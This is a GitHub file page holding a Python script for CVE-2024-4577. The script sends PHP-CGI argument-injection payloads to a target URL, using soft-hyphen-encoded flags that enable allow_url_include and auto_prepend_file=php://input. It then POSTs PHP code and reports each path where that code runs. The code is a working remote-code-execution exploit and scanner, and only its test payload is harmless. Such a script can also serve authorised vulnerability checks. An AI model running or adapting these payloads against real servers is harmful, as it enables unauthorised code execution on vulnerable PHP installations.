-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve-2024-4577.py
36 lines (29 loc) · 1.19 KB
/
cve-2024-4577.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import argparse
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
requests.packages.urllib3.disable_warnings()
payloads = [
'/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input',
'/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input',
'/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input',
'/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input',
]
parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 -t TARGET""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
args = parser.parse_args()
url = args.target.rstrip('/')
php_code = '<?php echo "1337"; ?>'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
#print("CVE-2024-4577 exploitability test on " + url)
for payload in payloads:
test = f"{url}{payload}"
#print(f"--> {test}")
try:
response = requests.post(test, headers=headers, data=php_code, verify=False, timeout=10)
if('1337' in response.text):
print(f'{test} is exploitable')
except:
pass